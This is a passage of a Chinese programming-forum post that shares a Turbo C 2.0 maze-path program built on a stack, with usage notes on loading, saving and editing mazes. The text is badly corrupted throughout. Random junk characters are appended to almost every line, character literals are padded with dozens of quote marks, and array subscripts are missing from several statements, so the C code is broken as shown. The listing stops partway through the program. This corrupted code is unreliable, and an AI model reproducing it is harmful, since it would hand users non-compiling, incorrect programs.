QQ登录

只需要一步,快速开始

 注册地址  找回密码
楼主: 韩冰
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
; }- P; |+ F7 \+ P8 y< align=left>程序目的:
3 ]' ~1 O/ S8 W. [+ O& K输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
1 J+ V% i5 X/ r) o. Z( [显示在屏幕上。+ f) {& }- `1 @, z* M4 Z/ P' M1 q% _
程序实现:: m; K2 J. v! h& X
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的9 J4 A# _7 _+ J" p: C/ a7 w
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载/ X6 B; ?) R7 |# @) G) `, Y
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫  y. p' m. t# l  s' h( r# n3 D
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。& c4 F" {* [. S
否则会出现错误信息。输入开始时全是墙,用上下左右键移动,( t6 t, U4 N+ o- Q) z
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以& ^5 i1 `3 K9 i% X
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,5 \" t7 @+ m4 q0 ?8 I" J* l% j
找到路径时,屏幕下方会出现Path found,否则出现Path not found。
- d( u( N2 N. s5 y$ d程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
5 U4 }3 Q0 `, s- s4 s不可以在VC上编译。
' O4 x4 I: d2 i1 s下载DOS版和windows版的迷宫游戏全部代码
; E3 ?( e' |4 T. E4 C+ ?' y& t1 G' E用户名:migong
' ]( s3 d8 I: T% e----------------------------------------------------------------------------------
( @" K" X  Q2 I8 L' _/*# X( V& |2 P$ P/ @7 S6 {9 F$ ]' m
MazePath Demo BY Turbo C 2.0
- O3 @" b/ C- T+ oCopyright(c) RoverUnion. All right reserved.
/ {5 G$ ~1 y! @7 y. U# @" w) C, X9 dFilename: Maze.c
( k0 G1 K- i4 a, f" v0 EAuthor Dongchengyu." D  u) C# q$ r6 d
Ver 1.10
$ ~4 F! J' _" @/ `+ W* F" T*/& Z1 d. C" k5 K% b( n$ b
#include &lt;stdio.h&gt;
& o) f+ I8 a- `- C  S/ a3 [#include &lt;stdlib.h&gt;# q3 |8 v$ R) y' \
#include &lt;malloc.h&gt;2 a5 Y3 q/ J% a2 E! a% P7 k# w
#include &lt;conio.h&gt;" C- f4 w/ I/ ?
#include &lt;dos.h&gt;. r* W( X3 u2 W5 H4 p+ g0 v  q% \
#define OK 1
. B5 F$ x4 J" o" v- t6 ~$ J#define ERROR 08 E4 j3 H* m6 X* S6 _+ T
#define TRUE 1& Z5 r# L4 f1 D. Q$ s1 V8 l# P
#define FALSE 04 p1 W5 j( d3 `6 @: }
#define F9 0x43
' a+ q* x+ e9 @0 q" b#define Esc 0x1b
( |2 ?/ `5 M1 D- b. Q& ^8 w$ r  P#define Del 0x53# G3 p$ `2 I9 Z2 g; \
#define Home 0x47# m& h6 M4 p' c8 r! {- o& [8 Y
#define End 0x4f! q1 k. U. O0 E0 b9 Q4 k
#define Space 0x20+ F8 \0 W' q+ s' F' V
#define Up 0x487 x& @/ _) q5 X) I
#define Down 0x50
! u" \; k, ^7 Z  M9 v, n& C( w# l#define Left 0x4b
; z) h1 n9 ^0 W, m4 i) K! P* Y#define Right 0x4d* V' f* i- C, B2 k1 @
#define Enter 0x0d
$ U( t1 K' Y' B" S1 C#define F2 0x3c" t  X7 h3 ^$ w) i( i; {* `
#define F3 0x3d! E% T6 d' q4 D9 d: S, }3 I
#define STACK_INIT_SIZE 200
5 ?+ H) r) n+ P. K9 I  U5 w#define STACKINCREMENT 10$ ~9 P' X/ C$ M
typedef int Boolean;) E2 j2 M! J; _% i8 r
typedef int Status;
5 j" T0 X) A1 s2 p. Gtypedef struct {
, n- {" r  v; Zint x;( l/ A  l; i. z) q
int y;
) w5 e! |: \5 ?} PosType;9 u" z0 v- h+ p7 h
typedef struct {4 E! U, A; ~8 h
int ord;2 s9 B7 n& `! Z$ `. D
PosType seat;
: r' j0 Z3 C$ _- x) zint di;: e* A3 P% t" w% [. X6 I
} SElemType;2 H9 U% i7 P! i& T" E, F; U( }' r
typedef struct {. u+ M  b: X8 |+ K& m5 r7 \
int td;0 b8 z# R, @  }, }
int foot;  D; n* z8 S# }( E  o: ?
int mark;9 K1 d, i1 c; f
} MazeType;0 I: Z# p+ A; T' M% h+ {; M3 O
typedef struct {
' ]7 p$ d9 {$ o6 _6 {SElemType *base;, h: {' t& s$ |7 s' Y8 k# ?
SElemType *top;* x# l) f1 y* m1 K
int stacksize;/ \/ n, P0 j% m$ r: {
} Stack;
+ J1 f, {( m5 E& S( r# xint Maze[20][30];; Z( ~, P0 w2 N& k
MazeType maze[20][30];  }$ Y% D. f/ G8 n' G
PosType StartPlace;
+ r" Q; S$ p$ p5 P# @9 S4 BPosType EndPlace;
, Z* d8 d) X" [int count;& u* \5 B: {5 U6 u- J* a4 i0 g
int m,n;$ r2 X+ T; T* u& y+ t0 g
Boolean b_start=FALSE,b_end=FALSE;7 [- ]# k1 L! a* F6 W0 M# b; o
void CreatMaze(void);
0 w% U' ^, O! L4 ]1 gStatus SaveMaze(char *filename);
* N0 \! G! }) z6 Z+ oStatus LoadMaze(char *filename);
; J1 O/ W5 v* e' O$ Xvoid Error(char *message);
4 v$ ]$ j& F) N: X. d1 N; R3 Q  MStatus InitStack(Stack *s);
) v1 h# c8 W; _- ?! g2 wStatus DestroyStack(Stack *s);1 l: x2 u, q, P: L
Status ClearStack(Stack *s);0 [; ^' g. I- U- v1 U: E( c0 X. N8 R
Boolean StackEmpty(Stack *s);
! L1 }) _9 }1 [int StackLength(Stack *s);$ P% V" Q2 P9 o$ m9 |  ]1 c
Status Push(Stack *s,SElemType e);
5 D9 o( w/ b% g4 A  OSElemType Pop(Stack *s,SElemType e);
0 e$ Y5 _3 A; D1 KStatus GetTop(Stack *s,SElemType *e);
- m$ ]% O. @/ L+ D: J0 Z+ GStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));# {1 ?4 [. ]! u. r% s
Boolean Pass(PosType curpos);
2 ~/ E# K7 l) N0 R# }" c7 }! _void MarkPrint(PosType seat);8 M( c5 C: J% G: w4 t/ T
void FootPrint(PosType curpos);
1 s% F( c' O2 e& ~- l" y/ pPosType NextPos(PosType seat,int di);
* }+ h! o. v% y  m2 T7 yStatus MazePath(PosType start,PosType end);5 O* R, i! {' E, I4 w2 C. r: u, j
void CreatMaze(void)
: V2 j% i/ r+ P9 l% p/* Form the maze. */
& V4 G( r7 |- b! h0 l$ ~8 R) o{
5 X$ S- i  g) P' {8 Uvoid Error(char *message);
7 ^% {/ w; E" |' C  u! `Status SaveMaze(char *filename);
# C9 ?* S" i( a: G: kStatus LoadMaze(char *filename);! `' \: ?" M! ?4 b8 u
int i,j;
  W+ ]0 \6 x% U( Tint x,y;7 E- m9 `- I0 c2 p. j0 q" b, P
char c;1 f- A/ Y3 \9 y( ?4 H2 b
char savename[12],loadname[12];
9 W9 T1 a% U0 {4 @9 [Boolean flag=FALSE,load=FALSE;3 _3 v. f( _  d* ]  b
clrscr();! s& b9 U5 T4 O- X" s
printf("Menu:\n\n");: H8 h# l8 S4 T# x
printf("1.Load Mazefile*.dd)\n\n");; [1 f: C( Y( _, |# R
printf("2.Input Maze:\n\n");" n$ R( O2 D( V, l! W# g- j$ m
printf("Input your choice: ");
7 A' D+ L' f, k- ^$ y; p! v  H0 qdo
0 N# L  \: y1 p4 {# q  i6 z- l" u{
$ ^- ^+ @2 h: p  |7 f6 l) @7 x# H( U" Dc=getch();7 a* I" _# M: L( d4 I% l6 `& I
switch(c)
; U+ h( t8 J! b  x{2 S& h* L% K& Z$ s: d
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
0 ^5 e% {' X' u4 y# \case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;2 D" {) O& L" ?! X
case Esc: sleep(1); exit(1);
+ H( Z. \* Z# O, i9 c# ydefault: break;; O" y5 o) `4 L% A+ F; f; S* o
}8 x. F* N  c8 ~5 }( q# q: s
}
0 V5 ~& ?: |' d' u1 ewhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
8 h9 E3 U' ]; Eif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')! b9 i) g2 z" g/ w
{( `! x7 C7 a4 X, P4 s; F
printf("\n\nLoadName: ");
# r4 h4 W3 k" C9 q1 f7 E# p8 \* w; Dscanf("%s",loadname);
, y4 ^4 ]- O! @# M" Bif(LoadMaze(loadname))- I7 d6 Q; U; c; p
{: s" k* _# q+ o
sleep(1); load=TRUE;* k1 B! v5 b* I7 m/ a
}
. e! t9 T$ m, b! _7 j0 k$ H1 }& n( e3 ?else { gotoxy(1,9); printf("Load fail! "); }+ a9 |3 J8 E, s6 m- q! Z
}
: ?8 b8 t$ j- k! V+ S/ ~3 A/ b$ aif(!load)9 X) T* t! E0 e% R$ W2 h
{
; p; ~3 O+ |$ j& wprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
' Y3 R# V) x! p0 G& \1 qprintf("\nInput Length :\n");
- h  ]* ~2 w% V8 S- u. cscanf("%d",&amp;m);# n& K, J# x6 K0 [" Y  u
printf("\nInput Width :\n");
7 _# t& M7 I% _scanf("%d",&amp;n);
3 v0 ?/ c: X6 O6 k* Hif(m&lt;4||n&lt;4) Error("Input");
5 {" {5 o' o  P9 D) |  f* m' F: }7 Aif(m&gt;30||n&gt;20) Error("Maze too large");
3 Y' l0 H- V5 l! S" A% kfor(i=0;i&lt;30;i++)
" ]- z) i/ V) ~4 nfor(j=0;j&lt;20;j++)) l4 r# b6 W4 b7 f& d8 l$ W% r
Maze[j]=2;$ e+ p. J  u# g
StartPlace.x=0;/ _1 l+ @) X7 B
StartPlace.y=0;3 T+ x' P$ n5 E$ N8 H5 Z3 l
EndPlace.x=0;# a% d0 r" T. g* W7 k
EndPlace.y=0;* K4 I+ f2 p$ x6 R  }+ ^
clrscr();! R! w' R( f- R, l7 ~
printf("\n");
, [" V6 w+ r3 M/ F' X& W, `2 Yfor(i=1;i&lt;=n;i++): w( D, |: {" u0 A8 J
{
) u5 I0 i+ y6 U9 A0 I9 ~for(j=1;j&lt;=m;j++)- |5 w% s9 a0 V
{# U+ k" a+ N3 Y1 o9 m9 F# F
printf(" #");- k8 O2 e( l  [. S( t7 I
Maze[i-1][j-1]=0;, \6 H- ?0 d- P# u  _, Z' m; P- t
}& t6 F9 O' v6 t! g% N6 P& c  Y1 I3 b0 n
printf("\n");
6 m& G7 @' `5 U) p4 w0 S" q; W}
* P: F  Q& i7 b8 p/ ^4 l$ n}
5 C0 ?$ i  `( G  S' v: egotoxy(65,5);
4 @) V' D9 T4 T' s6 sprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
' I4 }, B' _/ Pgotoxy(65,7);( R% c" C. |; Q2 [; h: r- n
printf("Start:Home");: e$ f+ ]/ k0 _( t* E3 P  M* o
gotoxy(65,9);
7 G, J) Z& f5 Tprintf("End:End");
+ h8 _" f* R! X- egotoxy(65,11);! ]& f' Q  H% h: }9 S
printf("Delete Wallel");
' q6 ~  ^1 I1 D) bgotoxy(65,13);
7 j; S4 z; p4 e; L2 s  W9 Cprintf("Enter Wall:Enter");
% r5 r. r" G  i4 u. T( E: n+ ~- c; ]gotoxy(65,15);! [8 K4 X4 \& J3 {) ]3 Z, [
printf("Save Maze:F2");$ ]% L; F7 M" A* }
gotoxy(65,17);
/ N9 T% `' O+ A+ }0 Oprintf("Complete:F9");
( ]: {, I$ K; Ugotoxy(65,19);
) v- M2 s+ u; w, c! Bprintf("Exit:Esc");. _4 Z' m$ ?) d8 x3 B/ C" m8 J
gotoxy(4,3);
6 o; n# U$ F) J" Ox=4;y=3;
/ \4 h" i. J. o0 \2 ^5 f/ m5 p; \do
# N8 D7 m1 [  J8 j1 O( P{
7 l% v: b/ e  r8 l* rc=getch();- q2 D9 v& r! K2 [6 ]. n
switch(c)& h3 |: Y+ `9 K) V! q. ?7 {
{
2 v( ?$ x7 W. e- _& |- S4 jcase Up: if(y&gt;3) { y--; gotoxy(x,y); }1 ^5 b: R8 a1 d* O" s
break;
; _+ T, u; _: Q5 j9 o4 Xcase Down: if(y&lt;n) { y++; gotoxy(x,y); }
8 X2 Y+ A# B1 S. m9 F- C2 Jbreak;
% b9 j2 ]# \/ B' C1 U3 a. z7 Hcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
& Z8 D  X6 y4 s( t5 y: C3 ibreak;8 d2 t" [: r$ K6 ^4 @
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }! [0 L: Q9 C3 `& z6 I1 h
break;" k: ^$ X# W  J6 \: Y5 N3 |& s
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
' G3 G, u! V- v. eif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
& O5 n' G) C6 N, B% Hputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);( v3 w; l7 c) W, t+ G. H9 G( I
break;& V9 h. @% x, z9 j4 L8 a  n
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;: n+ q3 R# L2 c4 B" M1 m3 B1 e' n4 S
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
7 a# l0 c' ~. J) @$ {+ o- o) J. qputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);) |' {" A/ d! _& a
break;# Q; _+ V0 D: j
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
$ A  B  E; P$ E9 L{
' k* T# x( ]0 C9 r$ j! fStartPlace.x=x/2-1;7 G9 i) A. N. I4 P
StartPlace.y=y-2;
6 W8 j2 |9 g9 J, T; ]putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');8 `# g1 I0 `8 i" K( u- N( B' Y
gotoxy(x,y);
  |3 L$ F3 M5 j6 Q/ qb_start=TRUE;# z' B( V3 |1 U: y
}, A+ f0 l: g2 e9 T2 W# R9 z
break;
  n9 }$ q* I" @# [' I5 O5 scase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)& s: m& O$ t& ~2 C7 u; d  ?
{
7 G2 E3 a/ K0 g1 yEndPlace.x=x/2-1;
3 L: v, c% ~& N9 TEndPlace.y=y-2;
. L7 x; t- l2 f4 h  Y6 A3 `6 tputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
! u3 q' A' j. X1 o; Fgotoxy(x,y);/ Q" V0 C* B/ v; d. @8 X4 `
b_end=TRUE;/ s# K' S7 O/ [8 E$ r) S
}' D! v6 l( f5 `% p0 j/ A: {
break;8 U$ D) Y. H0 T
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);/ G9 X* b& ]$ L" J, c2 C+ `
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
) u. g( v+ `# w8 [7 ]5 W# Ucase F2: gotoxy(2,22);
6 X. v1 A, H' j1 S% \printf("Savename:");
2 i/ L8 ~1 v; o) W$ t& b6 ~6 ?5 k* I2 fscanf("%s",savename);
, g' o4 M9 c' X2 ugotoxy(2,22);
* l! r" j0 W& U0 x* xif(SaveMaze(savename)) printf("Save OK! ");
$ |6 I2 _/ j% _5 `7 o7 l6 Ielse printf("Save fail! ");' E, L% U. k5 \! [
sleep(1);+ g- r3 Q4 u6 L7 W; K
gotoxy(2,22);% U$ [5 d8 x) M( F  Y, Q7 r
printf(" ");7 w$ U8 ?* O" k
gotoxy(x,y);9 E+ {0 Q3 m  D* y; A* Z  u
break;# z5 ^0 l, N9 A. L2 Z
default: break;3 j& A, B$ E* f9 g6 ]
}2 E* s* h0 r1 P# ~
}/ |- T5 R. \0 B  U
while(!flag);' B3 ]1 a1 y* K0 e/ [; V
for(i=0;i&lt;30;i++)
! Y: ]  G3 b' z2 bfor(j=0;j&lt;20;j++)! L+ R1 _; i3 x0 b
{9 c. i) b1 o8 h; G, Q/ E
maze[j].td=Maze[j];
) o1 \$ l& \. ^2 n4 T" u2 B0 J* N+ Emaze[j].mark=0;% y9 ?) n9 ~* H" |4 D; x( y
maze[j].foot=0;
/ m( N; R4 [  G; V9 {}
. A2 T" F7 q6 [}0 [. Y) I' P# s9 J0 U+ h6 x8 \
Status LoadMaze(char *file)
* G3 Y& N# G  `  k9 ~/* The maze has been loaded. */
) G5 p4 Z# I2 S2 n/ X$ {{
1 H8 o$ a1 P' l9 sFILE *fp;) |1 B- m7 E& W
char *buffer;
, {# g6 C7 r$ P9 ]) p; d+ Qchar ch;7 A* n+ x8 r9 M# q' s
int i=0,j,k;
% C" b; o4 E6 q' F/ T. [6 |Boolean len=FALSE,wid=FALSE;# p9 i7 P8 Z- q4 r1 G, N2 F
if((fp=fopen(file,"r"))==NULL)3 m8 n: ~1 ]5 u& g! M2 f; ]
return ERROR;
  q) n# c) h) M- m7 h, G  ~buffer=(char *)malloc(600*sizeof(char));- Q- D6 _1 [) W
ch=fgetc(fp);2 r' e* h; _- e. b
while(ch!=EOF)5 F( H; c! L) R3 l, ^. h4 ?
{
# t% o0 Z. ~& H' [: a5 P& pbuffer=ch;9 f5 y0 _: m; ~  O9 y, [, ^4 t
i++;
, t, K9 e6 E1 O" B5 u5 {. nch=fgetc(fp);, ]+ G" M% a  e2 d$ w
}
# [2 ]2 U" k: v5 km=30;n=20;
6 i7 z: U# s( ~/ r/ Lfor(i=0;i&lt;600;i++)
& o' \; V* j. L- D{
( p! |9 o0 ~/ B$ B& e; rj=i/30; k=i%30;
2 D' m7 E! e7 O+ I( o. F  Bif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
2 L$ t! g( X/ y# o) L% k% b9 E6 cif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }7 W' e+ A* i7 Y' Z
switch(buffer)
% h% E- @) D' v{  n9 B+ P5 A. V) C
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;, s/ i! h7 H; j
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;- h* T" N) r7 w: z  I' U
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;0 A' v2 P: X  U+ r4 S
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
" _3 K/ s, L( B. LStartPlace.x=k;$ Z1 h0 l! y, M* N1 o
StartPlace.y=j;
0 b9 R; |9 _% }# K. i- {b_start=TRUE;
: k8 ]# ?' y" [break;
$ ~5 c* f: B: Qcase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;0 O+ Y* J, h% T
EndPlace.x=k;
0 C! e* K1 k. c1 Q' gEndPlace.y=j;* C! _" {2 U  @6 U7 ^# L
b_end=TRUE;9 ?( A) C; n! D+ b7 j3 ^
break;
. Y6 [* j, x, w! Ldefault : break;
* j7 k. E5 u5 L' c2 ?# q) i}5 c4 N$ h% r. x4 \+ x& U
}
9 V1 `& l8 Y- dfclose(fp);6 H. i. G4 U7 s& Q; L2 N
clrscr();7 ^8 A8 U% |( p. D0 t& r
for(i=0;i&lt;30;i++)7 q; A8 c/ w5 r3 n* a# \$ f
for(j=0;j&lt;20;j++)+ M2 g9 o2 i& K
{
9 \/ b# I! i& gmaze[j].td=Maze[j];
6 i8 L" \" w- Q/ z$ @maze[j].foot=0;' K- n; z1 k- f
maze[j].mark=0;# `6 r& f" y0 r
if(Maze[j]==0)( F" O" n# n, p. ]/ g; ?0 t
{
/ B* ^5 P- M/ ^% Fgotoxy(2*i+2,j+2);
4 Z4 E3 A8 b/ _5 |# C) Qputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
8 j% Q6 E, ]. T9 M+ I}1 |1 x+ J0 U. W3 E1 J$ j/ n" h% ~
}: v' j; j1 N! u5 j* U, G8 J4 B& i
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
' \# j1 R6 B4 w. ~) N7 U( Jputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');3 n- \( G5 E' R# s+ F# S
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
3 Y) R+ c. Y% {7 Lputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
( f  {) o1 C3 j0 t! `; greturn OK;
! ^# Z5 e4 M0 D}  b5 ~/ T& i0 C
Status SaveMaze(char *filename)
! _2 P, b+ }& k2 ]+ S9 L/* The maze has been saved. */
0 a4 @2 ?" e% W9 x+ k8 e{
% F5 W. U, w" VFILE *fp;
* ?6 o4 U2 B$ H5 G/ rchar *buffer;
: V6 P( ]6 Q. J8 }% _, O$ Hint i,j,k;
% R3 L/ w4 h8 }: w; w9 Zfp=fopen(filename,"wb");
( o8 |) v7 _  L% X& D7 u1 tbuffer=(char *)malloc(600*sizeof(char));* k8 R4 ^: x6 ^8 f% f8 J7 g6 W' Y
for(i=0;i&lt;600;i++). y/ t% ?8 W, ?; ]* C( J" b3 K5 I( a
{' J; a0 c% w/ Q# w
j=i/30; k=i%30;
0 T1 i* L- H8 p5 W% s* dswitch(Maze[j][k])
" ^: d' B1 O2 L+ ~0 e4 e+ [* b% M{5 P2 s; {, x* d& ^2 h6 ~  Z
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
* y0 u0 M& `2 L- p: Hcase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
# W, M- F4 F+ n2 j8 L; Ecase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
) C. h' ]' g4 n5 G  rdefault : Error("Write"); break;5 f& A; ^5 t8 g4 l* D  I# \6 m
}$ C" S, c3 _7 k5 B. p7 q8 x" a
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';- s# S! J3 s, }0 |/ C
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';, A! m- |6 Q/ k( M
}3 y) a4 E. }5 @5 h0 p9 Z- k
fwrite(buffer,600,1,fp);
) a/ i( D( O6 C5 Lfree(buffer);
2 h& Z) p9 L0 w" G6 yfclose(fp);
! U6 ]) u- H$ Rreturn OK;1 Q! q6 u9 O" i; ^. j- g8 y9 j
}% j3 w% \, r7 n; J
void Error(char *message)
/ p1 l5 [: `0 [  e" P( J" R; k{0 z& Z5 ^" h! U( D" \/ o4 q
clrscr();
- A1 R* B  U" x8 v0 Ofprintf(stderr,"Error:%s\n",message);
9 @0 z6 G; Y0 aexit(1);; G; [0 C) J, i( m7 I! h  t
} /* Error */, q3 a& L5 n: n+ n1 U- W( L, o' X

! e" s& w7 o* Y. t6 SStatus InitStack(Stack *s)
6 J6 c6 q  T$ @/ j/* The stack s has been created and is initialized to be empty. */2 i: D2 Z, s8 B% K: Z
{
# E* B: O- F6 ^0 C  K! C& Ts-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));9 E4 H% _+ x1 s" ?9 V6 p, I
if(!s-&gt;base) Error("Overflow");( \* g3 q* ~: _, G2 ~
s-&gt;top=s-&gt;base;2 t$ E/ q) o1 H9 X7 c! ]9 H
s-&gt;stacksize=STACK_INIT_SIZE;9 a/ J3 h8 E, t) Y( [- a4 Z
return OK;
$ _, s8 ~' ^; ?( e} /* InitStack */
2 r: ^. _; H9 h. \; a2 U: k7 _: |Status DestroyStack(Stack *s)
6 ?. U" z, x; Z( M* H6 d/* The stack s has been destroyed. */
5 b, t* R  v% w$ |{0 ~  ?7 }0 q: F; O; d
s-&gt;top=NULL;/ r4 p! {5 h; e
s-&gt;stacksize=0;
7 ~& L5 U0 T, O( R8 A3 Afree(s-&gt;base);
- X9 J! H) i7 Y3 z8 V$ Z7 g; hs-&gt;base=NULL;
; \# }/ \/ L+ j! A) areturn OK;( V4 k6 Q* ~& ]. q
} /* DestroyStack */
* y+ \: t& T9 d# e1 a. VStatus ClearStack(Stack *s)
' r6 _. e, t! x9 M4 k/* The stack has been clear to be maximum. */3 \  ^/ e: m  n& a0 a5 k
{8 }: @# z: L  n# v  u9 W
s-&gt;top=s-&gt;base;! s' H" w: n- h, }2 \
s-&gt;stacksize=STACK_INIT_SIZE;' ?: L% F! V  P  i! \
return OK;& B  ?& ]  l- A. A
} /* ClearStack */  O8 _( D: ~' m! O1 p7 M% A
Boolean StackEmpty(Stack *s)
+ {5 S/ \4 ^  U+ E/* Check if the stack s is empty. */) ]( _/ i5 i4 N( i- {8 g- n
{; |4 e2 j( X1 `: b( ]& P
if(s-&gt;top==s-&gt;base) return TRUE;
0 X- T( h6 R" W, A. m2 Z2 ?( delse return FALSE;
* @; R! D$ @  o* D} /* StackEmpty */6 o6 r+ A* y0 H9 l
int StackLength(Stack *s)
) u8 Q! y; E0 _2 q/* Gain the length of the stack s. */
; n& {& j4 Q/ d$ c{9 X% I' Q* ?1 d
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);  d1 m& u6 g, |/ ~8 i
else return 0;
: w) n& I" {8 v) T: q} /* StackLength */
" e5 c( e9 y( IStatus Push(Stack *s,SElemType e)
' a7 V0 Z' z. a- l& N/ m. A/* The element e has been pushed into the stack s. */
/ w9 W$ M5 n1 a3 o{
- Z5 e0 }5 j' }if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)! }& `$ Q* g; D1 O& H# B
{
9 J0 C3 m  B+ e* `, @! ~, W$ Ks-&gt;base=(SElemType *)realloc(s-&gt;base,
/ h5 {2 g6 h/ n7 c0 s9 F(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));! @/ s3 l* C! F( V
if(!s-&gt;base) Error("Overflow");
6 w$ B" f7 P' K! ys-&gt;top=s-&gt;base+s-&gt;stacksize;
. m: V( f* S& H8 b7 e7 r4 Gs-&gt;stacksize+=STACKINCREMENT;
* K! r' k8 E/ O. Z}. w! I" L$ E( \2 K
*s-&gt;top++=e;
7 G! t: {$ |% P1 d. B5 K1 freturn OK;
8 S% `  ~  X0 l} /* Push */  V1 I2 r1 ]  m7 j/ V$ M
SElemType Pop(Stack *s,SElemType e)
: a$ O2 O$ E+ I4 a: y3 r: m/* The element e has been removed from the stack s. */
$ O8 }! f3 d* d) N: X; L( G{: C* c. k" T! _3 i1 }
if(s-&gt;top==s-&gt;base) Error("op");- j* `# }$ O4 S0 l
e=*--s-&gt;top;* r9 |4 U1 }8 [; Q( ?6 M
return e;4 i% a8 E) h3 f2 u* q
} /* Pop */) K  ?! ~0 R" W- [4 t; S! A+ B3 B
Status GetTop(Stack *s,SElemType *e)% t7 t6 q1 e0 }6 w- C
/* The element e has got to the top of the stack s.*/1 `! J- ~7 @/ R6 T( a0 p
{
. _" I5 P- z+ G$ v6 Cif(s-&gt;top==s-&gt;base) Error("GetTop");( w4 d) p" J3 G( e; i
*e=*(s-&gt;top-1);( n+ K) p, {& D3 ^! z. p
return OK;
0 s* x6 ^# t1 G' e6 y) Z} /* GetTop */& P, z: R! Y& j: d; d4 ~
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
& l3 [. {3 _! m8 s/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))5 d+ X6 a$ O- a1 i$ v
{) O4 F2 M6 C, m% G( l
SElemType p;# K( |7 c) r8 j. U+ m9 E+ n
int result;
) r; ?( N9 ]( x! q" p, Pif(s-&gt;top==s-&gt;base) return ERROR;% Z: }6 _+ q9 j$ |
p=s-&gt;base;
7 I8 b) a' {4 N" uwhile(!(p==s-&gt;top))
! N- ~; i; E" g, z3 A6 \, V$ o; m{5 Q/ }9 I" j( e* S' ~3 @/ z2 r4 K3 z
result=(*visit)(p);
0 J* K( R4 f$ F' [2 ~+ Mp++;
2 G7 b1 T5 A* b) w$ r- B}9 _- J# D1 `) K* B+ M* C* K8 w
return OK;
. _% a7 n8 ]4 K  o  p: ^# f} */% b+ E7 V5 H$ F' ~! o8 w
Boolean Pass(PosType curpos)
. m# A3 h* i+ F0 ^/* Check if the current position can be passed. */
- b* y2 d& P& P8 r* F2 U{  p3 j# ~/ G( X7 j
if(maze[curpos.x][curpos.y].td==1&amp;&amp;  t/ v& B: N& y% L! i0 j/ n
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)0 F1 Y; {7 u# Z7 @" E
return TRUE;
0 n8 v' C1 p# n3 @9 X" }+ r4 `2 o! Melse return FALSE;* {  k! C$ O. P4 A* O) y
} /* Pass */3 j; c7 w) B% i) T2 }3 C% y  o7 g
void MarkPrint(PosType seat)
4 b8 V) K+ Z3 @. o7 S6 u/* Mark the position seat. */
